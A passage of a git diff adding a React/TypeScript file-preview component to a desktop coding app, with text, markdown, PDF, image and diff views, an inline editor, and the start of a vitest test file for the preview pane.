+    if (byte < 32 && byte !== 9 && byte !== 10 && byte !== 13) {
+      suspicious += 1
+    }
+  }
+
+  return suspicious / Math.min(bytes.length, 4096) > 0.12
+}
+
+function dataUrlToBlob(dataUrl: string) {
+  const comma = dataUrl.indexOf(',')
+
+  if (comma < 0 || !dataUrl.startsWith('data:')) {
+    throw new Error('Invalid PDF data URL')
+  }
+
+  const metadata = dataUrl
+    .slice(5, comma)
+    .split(';')
+    .map(part => part.trim().toLowerCase())
+
+  const payload = dataUrl.slice(comma + 1)
+
+  if (metadata[0] !== 'application/pdf' || !metadata.slice(1).includes('base64')) {
+    throw new Error('Invalid PDF data URL type')
+  }
+
+  let binary: string
+
+  try {
+    binary = atob(decodeURIComponent(payload))
+  } catch {
+    throw new Error('Invalid PDF data URL payload')
+  }
+
+  if (!binary.startsWith('%PDF-')) {
+    throw new Error('Invalid PDF file header')
+  }
+
+  const bytes = new Uint8Array(binary.length)
+
+  for (let index = 0; index < binary.length; index += 1) {
+    bytes[index] = binary.charCodeAt(index)
+  }
+
+  return new Blob([bytes], { type: 'application/pdf' })
+}
+
+async function readTextPreview(filePath: string) {
+  try {
+    return await readDesktopFileText(filePath)
+  } catch (error) {
+    const message = error instanceof Error ? error.message : String(error)
+
+    if (!message.includes("No handler registered for 'clawcodex:readFileText'")) {
+      throw error
+    }
+  }
+
+  // Back-compat for a running Electron process whose preload hasn't been
+  // restarted since readFileText was added. readFileDataUrl already existed.
+  const dataUrl = await window.clawcodexDesktop.readFileDataUrl(filePath)
+  const [, metadata = '', data = ''] = dataUrl.match(/^data:([^,]*),(.*)$/) || []
+  const base64 = metadata.includes(';base64')
+  const mimeType = metadata.replace(/;base64$/, '') || undefined
+  const raw = base64 ? atob(data) : decodeURIComponent(data)
+  const bytes = Uint8Array.from(raw, ch => ch.charCodeAt(0))
+
+  return {
+    binary: looksBinaryBytes(bytes),
+    byteSize: bytes.byteLength,
+    mimeType,
+    path: filePath,
+    text: new TextDecoder().decode(bytes)
+  }
+}
+
+// Lightweight markdown renderer for file previews. Streamdown does the parse;
+// our components keep typography simple and route fenced code through Shiki
+// without the library's copy/download/fullscreen chrome.
+const MD_TAG_CLASSES = {
+  h1: 'mb-3 mt-6 text-3xl font-bold leading-tight tracking-tight first:mt-0',
+  h2: 'mb-2.5 mt-5 text-2xl font-semibold leading-snug tracking-tight first:mt-0',
+  h3: 'mb-2 mt-4 text-xl font-semibold leading-snug first:mt-0',
+  h4: 'mb-2 mt-3 text-base font-semibold leading-snug first:mt-0',
+  p: 'mb-4 leading-relaxed text-foreground last:mb-0',
+  ul: 'mb-4 list-disc pl-6 marker:text-muted-foreground/70 last:mb-0',
+  ol: 'mb-4 list-decimal pl-6 marker:text-muted-foreground/70 last:mb-0',
+  li: 'mt-1 leading-relaxed',
+  blockquote: 'mb-4 border-l-2 border-border pl-3 text-muted-foreground italic last:mb-0',
+  pre: 'mb-4 overflow-hidden rounded-lg border border-border bg-card font-mono text-xs leading-relaxed last:mb-0 [&_pre]:m-0 [&_pre]:overflow-x-auto [&_pre]:bg-transparent! [&_pre]:p-3 [&_pre]:font-mono'
+} as const
+
+function tagged<T extends keyof typeof MD_TAG_CLASSES>(Tag: T) {
+  const base = MD_TAG_CLASSES[Tag]
+
+  const Component = (({ className, ...rest }: ComponentProps<T>) => {
+    const Element = Tag as React.ElementType
+
+    return <Element className={cn(base, className)} {...rest} />
+  }) as React.FC<ComponentProps<T>>
+
+  Component.displayName = `Md.${Tag}`
+
+  return Component
+}
+
+function MarkdownCode({ className, children, ...props }: ComponentProps<'code'>) {
+  const language = /language-([^\s]+)/.exec(className || '')?.[1]
+
+  if (!language) {
+    return (
+      <code
+        className={cn(
+          'rounded bg-muted px-1 py-0.5 font-mono text-[0.86em] text-pink-700 dark:text-pink-300',
+          className
+        )}
+        {...props}
+      >
+        {children}
+      </code>
+    )
+  }
+
+  const code = String(children).replace(/\n$/, '')
+
+  const highlighted = (
+    <ShikiHighlighter
+      addDefaultStyles={false}
+      as="div"
+      defaultColor="light-dark()"
+      delay={80}
+      language={language}
+      showLanguage={false}
+      theme={SHIKI_THEME}
+    >
+      {code}
+    </ShikiHighlighter>
+  )
+
+  // ```mermaid / ```svg fences route to the shared lazy renderers (same
+  // registry the chat transcript uses); everything else stays on Shiki.
+  return <RichCodeBlock code={code} fallback={highlighted} language={language} />
+}
+
+const MARKDOWN_COMPONENTS = {
+  h1: tagged('h1'),
+  h2: tagged('h2'),
+  h3: tagged('h3'),
+  h4: tagged('h4'),
+  p: tagged('p'),
+  ul: tagged('ul'),
+  ol: tagged('ol'),
+  li: tagged('li'),
+  blockquote: tagged('blockquote'),
+  pre: tagged('pre'),
+  code: MarkdownCode
+}
+
+function MarkdownPreview({ text }: { text: string }) {
+  return (
+    <div className="preview-markdown mx-auto max-w-3xl px-4 py-3 text-sm text-foreground" data-selectable-text="true">
+      <Streamdown components={MARKDOWN_COMPONENTS} controls={false} mode="static" parseIncompleteMarkdown={false}>
+        {text}
+      </Streamdown>
+    </div>
+  )
+}
+
+export function PreviewModeSwitcher({
+  active,
+  modes,
+  onSelect,
+  trailing
+}: {
+  active: PreviewViewMode
+  modes: PreviewViewMode[]
+  onSelect: (mode: PreviewViewMode) => void
+  trailing?: ReactNode
+}) {
+  const { t } = useI18n()
+  const showModes = modes.length > 1
+
+  if (!showModes && !trailing) {
+    return null
+  }
+
+  const label: Record<PreviewViewMode, string> = {
+    diff: t.preview.diff,
+    rendered: t.preview.renderedPreview,
+    source: t.preview.source
+  }
+
+  return (
+    // Fixed height so the header is byte-identical between read and edit modes —
+    // swapping the trailing controls must never move the body below it.
+    <div className="flex h-7 shrink-0 items-center justify-end gap-3 border-b border-border/40 px-3">
+      {showModes &&
+        modes.map(mode => (
+          <button
+            className={cn(
+              'text-[0.625rem] font-bold underline-offset-4 transition-colors',
+              mode === active
+                ? 'text-foreground underline decoration-current/30'
+                : 'text-muted-foreground hover:text-foreground'
+            )}
+            key={mode}
+            onClick={() => onSelect(mode)}
+            type="button"
+          >
+            {label[mode]}
+          </button>
+        ))}
+      {trailing && <div className="flex items-center gap-1.5">{trailing}</div>}
+    </div>
+  )
+}
+
+// Cancel / Save controls rendered as the header's trailing slot (not a bar of
+// their own) so edit mode reuses the read-mode header row verbatim.
+function EditControls({
+  dirty,
+  onCancel,
+  onSave,
+  saving
+}: {
+  dirty: boolean
+  onCancel: () => void
+  onSave: () => void
+  saving: boolean
+}) {
+  const { t } = useI18n()
+
+  return (
+    <>
+      <button
+        className="flex items-center gap-1 rounded-md px-1.5 text-[0.625rem] font-bold text-muted-foreground transition-colors hover:bg-accent hover:text-foreground"
+        onClick={onCancel}
+        type="button"
+      >
+        <X className="size-3" />
+        {t.common.cancel}
+      </button>
+      <button
+        className="flex items-center gap-1 rounded-md bg-primary px-2 py-0.5 text-[0.625rem] font-bold text-primary-foreground shadow-xs transition-opacity hover:opacity-90 disabled:opacity-50"
+        disabled={!dirty || saving}
+        onClick={onSave}
+        type="button"
+      >
+        <Check className="size-3" />
+        {saving ? t.common.saving : t.common.save}
+      </button>
+    </>
+  )
+}
+
+interface LineSelection {
+  end: number
+  start: number
+}
+
+function startLineDrag(event: ReactDragEvent<HTMLElement>, filePath: string, { end, start }: LineSelection) {
+  const lineEnd = end > start ? end : undefined
+  const label = lineEnd ? `${filePath}:${start}-${end}` : `${filePath}:${start}`
+
+  event.dataTransfer.setData(CLAWCODEX_PATHS_MIME, JSON.stringify([{ line: start, lineEnd, path: filePath }]))
+  event.dataTransfer.setData('text/plain', label)
+  event.dataTransfer.effectAllowed = 'copy'
+}
+
+/** Windowed, Shiki-highlighted source. The gutter's line selection produces a
+ *  `path:line` composer ref, so it is inert without a `filePath` (artifact
+ *  content has no path to reference lines against). */
+export function SourceView({ filePath, language, text }: { filePath?: string; language: string; text: string }) {
+  const { t } = useI18n()
+  const chunks = useMemo(() => chunkTextLines(text, SOURCE_CHUNK_LINES), [text])
+  const lastChunk = chunks.at(-1)
+  const totalLines = lastChunk ? lastChunk.start + lastChunk.lines.length : 0
+
+  const { afterRows, beforeRows, endChunk, onScroll, scrollerRef, startChunk } = useFixedRowWindow({
+    overscanRows: SOURCE_OVERSCAN_LINES,
+    rowPx: SOURCE_LINE_PX,
+    rowsPerChunk: SOURCE_CHUNK_LINES,
+    totalRows: totalLines
+  })
+
+  const visibleChunks = chunks.slice(startChunk, endChunk + 1)
+  const [selection, setSelection] = useState<LineSelection | null>(null)
+  const inSelection = (line: number) => selection != null && line >= selection.start && line <= selection.end
+
+  const handleLineClick = (event: ReactMouseEvent, line: number) => {
+    if (!filePath) {
+      return
+    }
+
+    if (event.shiftKey && selection) {
+      setSelection({ end: Math.max(selection.end, line), start: Math.min(selection.start, line) })
+
+      return
+    }
+
+    if (selection?.start === line && selection.end === line) {
+      setSelection(null)
+
+      return
+    }
+
+    setSelection({ end: line, start: line })
+  }
+
+  const handleDragStart = (event: ReactDragEvent<HTMLElement>, line: number) => {
+    if (!filePath) {
+      return
+    }
+
+    startLineDrag(event, filePath, inSelection(line) && selection ? selection : { end: line, start: line })
+  }
+
+  // ⌘/Ctrl+L with a line selection drops the same `@line:path:start-end` ref the
+  // gutter drag produces — so the keyboard path mirrors dragging the lines into
+  // the composer. Capture-phase + stopPropagation so it beats the terminal's
+  // global ⌘L handler (which would otherwise grab the native text selection).
+  useEffect(() => {
+    if (!selection || !filePath) {
+      return
+    }
+
+    const onKeyDown = (event: KeyboardEvent) => {
+      if (!isAddSelectionShortcut(event)) {
+        return
+      }
+
+      const lineEnd = selection.end > selection.start ? selection.end : undefined
+      const ref = droppedFileInlineRef({ line: selection.start, lineEnd, path: filePath }, $currentCwd.get())
+
+      if (!ref) {
+        return
+      }
+
+      event.preventDefault()
+      event.stopPropagation()
+      // Insert into and focus the SAME composer — 'active' — so a tile that owns
+      // focus keeps it instead of the ref landing in a tile but main stealing focus.
+      requestComposerInsertRefs([ref])
+      requestComposerFocus('active')
+    }
+
+    window.addEventListener('keydown', onKeyDown, { capture: true })
+
+    return () => window.removeEventListener('keydown', onKeyDown, { capture: true })
+  }, [filePath, selection])
+
+  return (
+    <div className="h-full overflow-auto" onScroll={onScroll} ref={scrollerRef}>
+      <div className="grid min-w-max grid-cols-[auto_minmax(0,1fr)] font-mono text-[0.7rem] leading-relaxed">
+        {beforeRows > 0 && <div aria-hidden className="col-span-2" style={{ height: beforeRows * SOURCE_LINE_PX }} />}
+        {visibleChunks.map(chunk => (
+          <Fragment key={chunk.start}>
+            <div className="select-none text-right text-muted-foreground/55">
+              {chunk.lines.map((_lineText, offset) => {
+                const line = chunk.start + offset + 1
+                const selected = inSelection(line)
+
+                return (
+                  <div
+                    className={cn(
+                      'h-5 w-9 pr-2 leading-5 tabular-nums transition-colors',
+                      filePath && 'cursor-pointer',
+                      selected
+                        ? 'bg-amber-200/45 text-amber-900 dark:bg-amber-300/20 dark:text-amber-100'
+                        : filePath && 'hover:text-foreground'
+                    )}
+                    draggable={Boolean(filePath)}
+                    key={line}
+                    onClick={event => handleLineClick(event, line)}
+                    onDragStart={event => handleDragStart(event, line)}
+                    title={filePath ? t.preview.sourceLineTitle : undefined}
+                  >
+                    {line}
+                  </div>
+                )
+              })}
+            </div>
+            <div className="preview-source-code min-w-0 [&_pre]:m-0" data-selectable-text="true">
+              <ShikiHighlighter
+                addDefaultStyles={false}
+                as="div"
+                defaultColor="light-dark()"
+                delay={80}
+                language={language || 'text'}
+                showLanguage={false}
+                theme={SHIKI_THEME}
+              >
+                {chunk.text}
+              </ShikiHighlighter>
+            </div>
+          </Fragment>
+        ))}
+        {afterRows > 0 && <div aria-hidden className="col-span-2" style={{ height: afterRows * SOURCE_LINE_PX }} />}
+      </div>
+    </div>
+  )
+}
+
+export type PreviewViewMode = 'diff' | 'rendered' | 'source'
+
+export function LocalFilePreview({ reloadKey, target }: { reloadKey: number; target: PreviewTarget }) {
+  const { t } = useI18n()
+  const [state, setState] = useState<LocalPreviewState>({ loading: true })
+  const [forcePreview, setForcePreview] = useState(false)
+  const [pdfError, setPdfError] = useState<string>()
+  const [pdfUrl, setPdfUrl] = useState<string>()
+  // User-picked view; null = auto (diff when changed, else rendered markdown,
+  // else source). Reset when the previewed file changes.
+  const [userMode, setUserMode] = useState<null | PreviewViewMode>(null)
+  // Spot-editor state. The editor owns its buffer (keyed by `editorKey`); the
+  // live draft + the snapshot the user started from live in refs so typing
+  // never re-renders this (large) component — `dirty` is the only render-worthy
+  // signal and it flips just once when crossing the clean↔dirty boundary.
+  // `selfReload` re-runs the load after a save without the parent.
+  const [editing, setEditing] = useState(false)
+  const draftRef = useRef('')
+  const baselineRef = useRef('')
+  const [dirty, setDirty] = useState(false)
+  const [editorKey, setEditorKey] = useState(0)
+  const [saving, setSaving] = useState(false)
+  const [saveError, setSaveError] = useState<null | string>(null)
+  const [conflict, setConflict] = useState(false)
+  const [selfReload, setSelfReload] = useState(0)
+  // For the bare-`e` shortcut: the read-view root (to detect focus-within) and a
+  // hover flag (no state — only the keydown handler reads it).
+  const readViewRef = useRef<HTMLDivElement>(null)
+  const hoverRef = useRef(false)
+  const connection = useStore($connection)
+  const fsCacheKey = desktopFsCacheKey(connection)
+  const filePath = filePathForTarget(target)
+  const isImage = target.previewKind === 'image'
+  const isPdf = target.previewKind === 'pdf'
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    setUserMode(null)
+    setEditing(false)
+    setDirty(false)
+    setSaving(false)
+    setSaveError(null)
+    setConflict(false)
+    draftRef.current = ''
+    baselineRef.current = ''
+  }, [filePath, reloadKey])
+
+  // HTML files are rendered as source code, not in a webview - so they take
+  // the same path as plain text files. `previewKind === 'binary'` arrives
+  // when the file is forcibly previewed past the binary refusal screen.
+  const isText = target.previewKind === 'text' || target.previewKind === 'binary' || target.previewKind === 'html'
+
+  const blockedByTarget = !isImage && !isPdf && !forcePreview && (target.binary || target.large)
+
+  useEffect(() => {
+    let active = true
+
+    async function load() {
+      if (blockedByTarget) {
+        setState({ loading: false })
+
+        return
+      }
+
+      if (!isImage && !isPdf && !isText) {
+        setState({ loading: false })
+
+        return
+      }
+
+      setState({ loading: true })
+
+      try {
+        if (isImage || isPdf) {
+          // Prefer bytes the caller already handed us (a pasted/dropped
+          // screenshot) over re-reading a path that may be transient/unreadable.
+          const dataUrl = target.dataUrl || (await readDesktopFileDataUrl(filePath))
+
+          if (active) {
+            setState({ dataUrl, loading: false })
+          }
+
+          return
+        }
+
+        const result = await readTextPreview(filePath)
+
+        if (active) {
+          const shouldBlock = !forcePreview && (result.binary || (result.byteSize ?? 0) > TEXT_PREVIEW_MAX_BYTES)
+
+          setState({
+            binary: result.binary,
+            byteSize: result.byteSize,
+            language: result.language || target.language || 'text',
+            loading: false,
+            text: shouldBlock ? undefined : result.text,
+            truncated: result.truncated
+          })
+
+          // Best-effort: fetch the file's working-tree-vs-HEAD diff so the
+          // preview can offer a DIFF view when there are uncommitted changes.
+          // Empty (clean file / not a repo / remote) just hides the option.
+          if (!shouldBlock) {
+            try {
+              const root = await desktopGitRoot(filePath)
+              const diff = root ? await desktopFileDiff(root, filePath) : ''
+
+              if (active && diff.trim()) {
+                setState(prev => (prev.text === result.text ? { ...prev, diff } : prev))
+              }
+            } catch {
+              // No diff available; the preview just shows source.
+            }
+          }
+        }
+      } catch (error) {
+        if (active) {
+          setState({
+            error: error instanceof Error ? error.message : String(error),
+            loading: false
+          })
+        }
+      }
+    }
+
+    void load()
+
+    return () => {
+      active = false
+    }
+  }, [
+    blockedByTarget,
+    filePath,
+    forcePreview,
+    fsCacheKey,
+    isImage,
+    isPdf,
+    isText,
+    reloadKey,
+    selfReload,
+    target.dataUrl,
+    target.language
+  ])
+
+  useEffect(() => {
+    setPdfUrl(undefined)
+    setPdfError(undefined)
+
+    if (!isPdf || !state.dataUrl) {
+      return
+    }
+
+    // Chromium's PDF viewer is blank for large data: URLs in an iframe. Use a
+    // blob URL instead, and revoke it when the target or loaded bytes change.
+    if (typeof URL.createObjectURL !== 'function') {
+      setPdfError('PDF preview requires object URL support')
+
+      return
+    }
+
+    let objectUrl: string
+
+    try {
+      objectUrl = URL.createObjectURL(dataUrlToBlob(state.dataUrl))
+      setPdfUrl(objectUrl)
+    } catch (error) {
+      setPdfError(error instanceof Error ? error.message : String(error))
+
+      return
+    }
+
+    return () => URL.revokeObjectURL(objectUrl)
+  }, [isPdf, state.dataUrl])
+
+  // Editing is only offered for whole, readable text — never images, binaries,
+  // or files we only loaded the first 512 KB of (saving would drop the tail).
+  const canEdit =
+    isText && !isImage && !blockedByTarget && state.text !== undefined && !state.truncated && !state.binary
+
+  // Per-keystroke: update the draft ref (no render) and only set `dirty` when it
+  // actually changes — React bails on an identical value, so a long typing run
+  // triggers a single re-render at most.
+  const handleEditorChange = useCallback((value: string) => {
+    draftRef.current = value
+    const next = value !== baselineRef.current
+    setDirty(prev => (prev === next ? prev : next))
+  }, [])
+
+  // Publish the unsaved state to the rail so the tab can show a modified dot.
+  // Keyed by url; cleared on unmount/tab-change so a stale dot never lingers.
+  useEffect(() => {
+    setPreviewDirty(target.url, editing && dirty)
+
+    return () => setPreviewDirty(target.url, false)
+  }, [target.url, editing, dirty])
+
+  const beginEdit = () => {
+    const text = state.text ?? ''
+    baselineRef.current = text
+    draftRef.current = text
+    setDirty(false)
+    setEditorKey(key => key + 1)
+    setSaving(false)
+    setSaveError(null)
+    setConflict(false)
+    setEditing(true)
+  }
+
+  // Latest `beginEdit` for the keydown listener, so the listener can stay
+  // subscribed across renders without recreating itself or going stale.
+  const beginEditRef = useRef(beginEdit)
+  beginEditRef.current = beginEdit
+
+  // Bare `e` enters edit mode when the file pane is hovered or focused and no
+  // typable field has focus — a fast, button-free path (double-click felt laggy
+  // because of the browser's click-disambiguation delay).
+  useEffect(() => {
+    if (!canEdit || editing) {
+      return
+    }
+
+    const onKeyDown = (event: KeyboardEvent) => {
+      if (event.key !== 'e' || event.metaKey || event.ctrlKey || event.altKey) {
+        return
+      }
+
+      if (isTypableElement(document.activeElement)) {
+        return
+      }
+
+      const root = readViewRef.current
+      const focusWithin = Boolean(root && document.activeElement && root.contains(document.activeElement))
+
+      if (!hoverRef.current && !focusWithin) {
+        return
+      }
+
+      event.preventDefault()
+      beginEditRef.current()
+    }
+
+    window.addEventListener('keydown', onKeyDown)
+
+    return () => window.removeEventListener('keydown', onKeyDown)
+  }, [canEdit, editing])
+
+  const cancelEdit = () => {
+    setEditing(false)
+    setSaveError(null)
+    setConflict(false)
+  }
+
+  const discardAndReload = () => {
+    setEditing(false)
+    setConflict(false)
+    setSaveError(null)
+    setSelfReload(n => n + 1)
+  }
+
+  const saveEdit = async (force = false) => {
+    if (saving) {
+      return
+    }
+
+    setSaving(true)
+    setSaveError(null)
+
+    try {
+      // Stale-on-disk guard: re-read what's on disk now and compare to the
+      // snapshot the user started from. If something changed underneath (an
+      // agent edit, an external save), don't clobber it silently — surface the
+      // choice. `force` is the user picking "overwrite" from that banner.
+      if (!force) {
+        try {
+          const current = await readTextPreview(filePath)
+
+          if (!current.binary && (current.text ?? '') !== baselineRef.current) {
+            setConflict(true)
+            setSaving(false)
+
+            return
+          }
+        } catch {
+          // Couldn't re-read for the check — fall through and attempt the write.
+        }
+      }
+
+      await writeDesktopFileText(filePath, draftRef.current)
+      baselineRef.current = draftRef.current
+      setDirty(false)
+      setConflict(false)
+      setEditing(false)
+      notifyWorkspaceChanged()
+      setSelfReload(n => n + 1)
+    } catch (error) {
+      setSaveError(error instanceof Error ? error.message : String(error))
+    } finally {
+      setSaving(false)
+    }
+  }
+
+  // Rendered before the loading/error branches so a background re-read (file
+  // watcher, workspace tick) can't unmount the editor and drop the draft. Uses
+  // the SAME container + fixed-height header as the read view so entering edit
+  // never shifts the body — only the trailing controls and the body swap.
+  if (editing) {
+    return (
+      <div className="flex h-full flex-col overflow-hidden bg-transparent">
+        <PreviewModeSwitcher
+          active="source"
+          modes={[]}
+          onSelect={() => {}}
+          trailing={<EditControls dirty={dirty} onCancel={cancelEdit} onSave={() => void saveEdit()} saving={saving} />}
+        />
+        {conflict && (
+          <div className="shrink-0 border-b border-amber-400/40 bg-amber-50 px-3 py-2 text-[0.7rem] text-amber-900 dark:border-amber-300/30 dark:bg-amber-300/10 dark:text-amber-100">
+            <div className="font-semibold">{t.preview.diskChangedTitle}</div>
+            <div className="mt-0.5 leading-relaxed">{t.preview.diskChangedBody}</div>
+            <div className="mt-1.5 flex gap-3">
+              <button
+                className="font-bold underline underline-offset-4 transition-opacity hover:opacity-80"
+                onClick={() => void saveEdit(true)}
+                type="button"
+              >
+                {t.preview.overwrite}
+              </button>
+              <button
+                className="font-bold underline underline-offset-4 transition-opacity hover:opacity-80"
+                onClick={discardAndReload}
+                type="button"
+              >
+                {t.preview.discardReload}
+              </button>
+            </div>
+          </div>
+        )}
+        {saveError && (
+          <div className="shrink-0 border-b border-destructive/40 bg-destructive/10 px-3 py-1.5 text-[0.7rem] text-destructive">
+            {t.preview.saveFailed(saveError)}
+          </div>
+        )}
+        <div className="min-h-0 flex-1 overflow-hidden">
+          <CodeEditor
+            filePath={filePath}
+            initialValue={baselineRef.current}
+            key={editorKey}
+            onCancel={cancelEdit}
+            onChange={handleEditorChange}
+            onSave={() => void saveEdit()}
+          />
+        </div>
+      </div>
+    )
+  }
+
+  if (state.loading) {
+    return <PageLoader label={t.preview.loading} />
+  }
+
+  if (state.error) {
+    return <PreviewEmptyState body={state.error} title={t.preview.unavailable} />
+  }
+
+  if (pdfError) {
+    return <PreviewEmptyState body={pdfError} title={t.preview.unavailable} />
+  }
+
+  if (
+    !isImage &&
+    !isPdf &&
+    !forcePreview &&
+    (target.binary || target.large || state.binary || (state.byteSize ?? 0) > TEXT_PREVIEW_MAX_BYTES)
+  ) {
+    const binary = target.binary || state.binary
+    const size = target.byteSize || state.byteSize
+
+    return (
+      <PreviewEmptyState
+        body={binary ? t.preview.binaryBody(target.label) : t.preview.largeBody(target.label, formatBytes(size))}
+        primaryAction={{ label: t.preview.previewAnyway, onClick: () => setForcePreview(true) }}
+        title={binary ? t.preview.binaryTitle : t.preview.largeTitle}
+        tone="warning"
+      />
+    )
+  }
+
+  if (isImage && state.dataUrl) {
+    return (
+      <div className="flex h-full w-full items-center justify-center overflow-auto bg-transparent p-4">
+        <img
+          alt={target.label}
+          className="max-h-full max-w-full rounded-lg object-contain shadow-sm"
+          draggable={false}
+          src={state.dataUrl}
+        />
+      </div>
+    )
+  }
+
+  if (isPdf && state.dataUrl && pdfUrl) {
+    return (
+      <div className="h-full w-full overflow-hidden bg-transparent">
+        <iframe
+          aria-label={target.label}
+          className="h-full w-full border-0 bg-white"
+          src={pdfUrl}
+          title={target.label}
+        />
+      </div>
+    )
+  }
+
+  if (isPdf && state.dataUrl) {
+    return <PageLoader label={t.preview.loading} />
+  }
+
+  if (isText && state.text !== undefined) {
+    const isMarkdown = (state.language || target.language) === 'markdown'
+    const hasDiff = Boolean(state.diff && state.diff.trim())
+    // Order the toggle reads left→right; default lands on the most useful view.
+    const modes: PreviewViewMode[] = []
+
+    if (isMarkdown) {
+      modes.push('rendered')
+    }
+
+    modes.push('source')
+
+    if (hasDiff) {
+      modes.push('diff')
+    }
+
+    const autoMode: PreviewViewMode = hasDiff ? 'diff' : isMarkdown ? 'rendered' : 'source'
+    const mode = userMode && modes.includes(userMode) ? userMode : autoMode
+
+    return (
+      <div
+        className="flex h-full flex-col overflow-hidden bg-transparent"
+        onMouseEnter={() => {
+          hoverRef.current = true
+        }}
+        onMouseLeave={() => {
+          hoverRef.current = false
+        }}
+        ref={readViewRef}
+      >
+        {state.truncated && (
+          <div className="border-b border-border/60 bg-muted/35 px-3 py-1.5 text-[0.68rem] text-muted-foreground">
+            {t.preview.truncated}
+          </div>
+        )}
+        <PreviewModeSwitcher
+          active={mode}
+          modes={modes}
+          onSelect={setUserMode}
+          trailing={
+            canEdit ? (
+              <Tip label={`${t.preview.edit} (e)`}>
+                <button
+                  className="flex items-center gap-1 text-[0.625rem] font-bold text-muted-foreground underline-offset-4 transition-colors hover:text-foreground"
+                  onClick={beginEdit}
+                  type="button"
+                >
+                  <Pencil className="size-3" />
+                  {t.preview.edit}
+                </button>
+              </Tip>
+            ) : null
+          }
+        />
+        <div className="min-h-0 flex-1 overflow-auto">
+          {mode === 'rendered' ? (
+            <MarkdownPreview text={state.text} />
+          ) : mode === 'diff' ? (
+            <FileDiffPanel
+              className="mx-0 mb-0 h-full max-h-none"
+              diff={state.diff ?? ''}
+              fullText={state.text}
+              path={filePath}
+              showLineNumbers
+            />
+          ) : (
+            <SourceView
+              filePath={filePath}
+              language={shikiLanguageForFilename(filePath) || state.language || 'text'}
+              text={state.text}
+            />
+          )}
+        </div>
+      </div>
+    )
+  }
+
+  return <PreviewEmptyState body={t.preview.noInlineBody(target.mimeType || '')} title={t.preview.noInlineTitle} />
+}
diff --git a/ui-desktop/src/app/chat/right-rail/preview-pane.test.tsx b/ui-desktop/src/app/chat/right-rail/preview-pane.test.tsx
new file mode 100644
index 000000000..24699be04
--- /dev/null
+++ b/ui-desktop/src/app/chat/right-rail/preview-pane.test.tsx
@@ -0,0 +1,338 @@
+import { act, cleanup, fireEvent, render, waitFor } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { $connection } from '@/store/session'
+
+import { PreviewPane } from './preview-pane'
+import { forgetPreviewStripTools, previewConsoleState } from './preview-strip-tools'
+
+function stubPdfObjectUrls() {
+  const NativeUrl = URL
+  let objectUrlIndex = 0
+  const createObjectURL = vi.fn((_blob: Blob) => `blob:pdf-preview-${(objectUrlIndex += 1)}`)
+  const revokeObjectURL = vi.fn()
+
+  class TestUrl extends NativeUrl {}
+
+  Object.defineProperties(TestUrl, {
+    createObjectURL: { configurable: true, value: createObjectURL },
+    revokeObjectURL: { configurable: true, value: revokeObjectURL }
+  })
+  vi.stubGlobal('URL', TestUrl)
+
+  return { createObjectURL, revokeObjectURL }
+}
+
+describe('PreviewPane console state', () => {
+  beforeEach(() => {
+    vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) =>
+      window.setTimeout(() => callback(Date.now()), 0)
+    )
+    vi.stubGlobal('cancelAnimationFrame', (id: number) => window.clearTimeout(id))
+  })
+
+  afterEach(() => {
+    cleanup()
+    $connection.set(null)
+    vi.unstubAllGlobals()
+  })
+
+  it('does not watch backend-only remote filesystem previews locally', async () => {
+    const watchPreviewFile = vi.fn(async () => ({ id: 'watch-1', path: '/remote/file.txt' }))
+    const onPreviewFileChanged = vi.fn(() => vi.fn())
+    $connection.set({ mode: 'remote' } as never)
+    vi.stubGlobal('window', {
+      ...window,
+      clawcodexDesktop: {
+        onPreviewFileChanged,
+        watchPreviewFile
+      }
+    })
+
+    await act(async () => {
+      render(
+        <PreviewPane
+          target={{
+            kind: 'file',
+            label: 'file.txt',
+            path: '/remote/file.txt',
+            previewKind: 'text',
+            source: '/remote/file.txt',
+            url: 'file:///remote/file.txt'
+          }}
+        />
+      )
+    })
+
+    expect(watchPreviewFile).not.toHaveBeenCalled()
+    expect(onPreviewFileChanged).not.toHaveBeenCalled()
+  })
+
+  // The console lives in the TAB's store (the toggles sit on the tab, not in the
+  // titlebar), so a streamed log has to land in the store keyed by tabId — that
+  // is what both the panel in the pane and the button on the tab read.
+  it('streams console logs into the tab-keyed console store', async () => {
+    const tabId = 'url:http://localhost:5174'
+
+    forgetPreviewStripTools(tabId)
+
+    let rendered!: ReturnType<typeof render>
+    await act(async () => {
+      rendered = render(
+        <PreviewPane
+          tabId={tabId}
+          target={{
+            kind: 'url',
+            label: 'Preview',
+            source: 'http://localhost:5174',
+            url: 'http://localhost:5174'
+          }}
+        />
+      )
+    })
+
+    const webview = rendered.container.querySelector('webview')
+
+    expect(webview).toBeInstanceOf(HTMLElement)
+
+    act(() => {
+      webview?.dispatchEvent(
+        Object.assign(new Event('console-message'), {
+          level: 0,
+          message: 'streamed log line',
+          sourceId: 'http://localhost:5174/src/main.tsx'
+        })
+      )
+    })
+
+    expect(previewConsoleState(tabId).$logs.get().at(-1)?.message).toBe('streamed log line')
+
+    forgetPreviewStripTools(tabId)
+  })
+
+  it('renders authenticated remote HTML safely and honors source mode', async () => {
+    const dataUrl = `data:text/html;base64,${btoa('<h1>remote</h1>')}`
+
+    const target = {
+      dataUrl,
+      kind: 'file' as const,
+      label: 'report.html',
+      path: '/srv/report.html',
+      previewKind: 'html' as const,
+      source: '/srv/report.html',
+      url: 'file:///srv/report.html'
+    }
+
+    let rendered!: ReturnType<typeof render>
+    await act(async () => {
+      rendered = render(<PreviewPane target={target} />)
+    })
+
+    const iframe = rendered.container.querySelector('iframe')
+
+    expect(rendered.container.querySelector('webview')).toBeNull()
+    expect(iframe?.getAttribute('sandbox')).toBe('')
+    expect(iframe?.getAttribute('referrerpolicy')).toBe('no-referrer')
+    expect(iframe?.getAttribute('srcdoc')).toContain(`default-src 'none'`)
+    expect(iframe?.getAttribute('srcdoc')).toContain('<h1>remote</h1>')
+    expect(rendered.container.textContent).not.toContain(dataUrl)
+
+    await act(async () => {
+      rendered.rerender(
+        <PreviewPane target={{ ...target, dataUrl: undefined, renderMode: 'source', transient: true }} />
+      )
+    })
+
+    expect(rendered.container.querySelector('iframe')).toBeNull()
+    const sourceLink = rendered.container.querySelector('a')
+
+    expect(sourceLink?.getAttribute('href')).toBeNull()
+    expect(sourceLink?.getAttribute('target')).toBeNull()
+    expect(fireEvent.click(sourceLink!)).toBe(false)
+  })
+
+  it('renders PDF targets in an embedded viewer', async () => {
+    const dataUrl = 'data:application/pdf;base64,JVBERi0xLjQ='
